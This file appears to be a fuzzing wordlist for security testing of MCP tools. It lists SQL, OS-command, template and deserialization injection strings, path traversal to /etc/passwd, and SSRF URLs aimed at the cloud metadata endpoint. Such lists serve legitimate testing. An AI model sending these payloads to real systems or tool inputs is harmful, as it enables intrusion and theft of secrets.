# ============================
# Attack Payloads for MCP Tool Security Testing
# Covers: SQL injection, OS/command injection, path traversal,
# template/expression injection, SSRF-like URL inputs, misc.
# ============================
# ---- SQL Injection:  ----
' OR '1'='1
' OR '1'='1' UNION SELECT NULL--
'"
''')
' AND 1=CONVERT(int,(SELECT @@version))--
' AND (SELECT 1/0)--
' OR IF(1=1,SLEEP(5),0)--
' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END)--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
# OS / Command Injection Payloads
# ============================
; echo INJECTION_TEST
; id
; whoami
; uname -a
; sleep 5
& type C:\Windows\win.ini
# Path Traversal Payloads
# ============================
../
../../../etc/passwd
# ---- Encoded / bypass-style traversal ----
..%2f..%2f..%2fetc/passwd
# Template / Expression Injection Payloads
# ============================
${7*7}
${process.env}
{{ 7*7 }}
"${this.constructor.constructor('return process.env')()}"
"${global.process.mainModule.require('child_process').exec('id')}"
# Deserialization / Prototype Pollution Hints
# ============================
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
{"$type": "System.Diagnostics.Process, System", "StartInfo": {"FileName": "cmd.exe"}}
# URL / SSRF-style Inputs
# ============================
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
# Miscellaneous High-Risk Strings (for behavior observation)
# ============================
{{7*7}} INJECTION_TEST
' OR 'INJ'='INJ
; echo MCP_TOOL_INJECTION
../../../etc/passwd TEST
